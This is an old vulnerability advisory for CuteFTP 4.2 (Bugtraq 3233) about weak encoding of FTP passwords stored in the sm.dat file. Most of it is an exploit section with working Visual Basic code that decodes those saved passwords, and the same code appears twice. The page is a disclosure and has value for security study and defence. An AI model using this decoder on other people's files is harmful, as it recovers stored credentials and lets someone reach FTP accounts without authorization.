CuteFTP Default Weak Password Encoding Vulnerability
BID:3233
Info
CuteFTP Default Weak Password Encoding Vulnerability
| Bugtraq ID: | 3233 |
| Class: | Configuration Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Aug 23 2001 12:00AM |
| Updated: | Aug 23 2001 12:00AM |
| Credit: | This vulnerability was submitted to BugTraq on August 23rd, 2001 by "E. van Elk" <[email protected]>. |
| Vulnerable: |
globalSCAPE CuteFTP 4.2 |
| Not Vulnerable: | |
Exploit / POC
CuteFTP Default Weak Password Encoding Vulnerability
This exploit was written by "E. van Elk" <[email protected]>:
This piece of VB code will decode the passwords stored in sm.dat for the FTP accounts
Works only if you have NOT set a password on the Site Manager!
'Decode a single character
Public Function CuteDecode(i_Asc As Integer)
CuteDecode = ((Not i_Asc) And 200) + (i_Asc And 55)
End Function
'Decode password
Public Function CuteDecodeString(str_password As String)
Dim i As Integer
CuteDecodeString = ""
For i = 1 To Len(str_password)
CuteDecodeString = CuteDecodeString + Chr$(CuteDecode(Asc(Mid(str_password, i, 1))))
Next i
End Function
This exploit was written by "E. van Elk" <[email protected]>:
This piece of VB code will decode the passwords stored in sm.dat for the FTP accounts
Works only if you have NOT set a password on the Site Manager!
'Decode a single character
Public Function CuteDecode(i_Asc As Integer)
CuteDecode = ((Not i_Asc) And 200) + (i_Asc And 55)
End Function
'Decode password
Public Function CuteDecodeString(str_password As String)
Dim i As Integer
CuteDecodeString = ""
For i = 1 To Len(str_password)
CuteDecodeString = CuteDecodeString + Chr$(CuteDecode(Asc(Mid(str_password, i, 1))))
Next i
End Function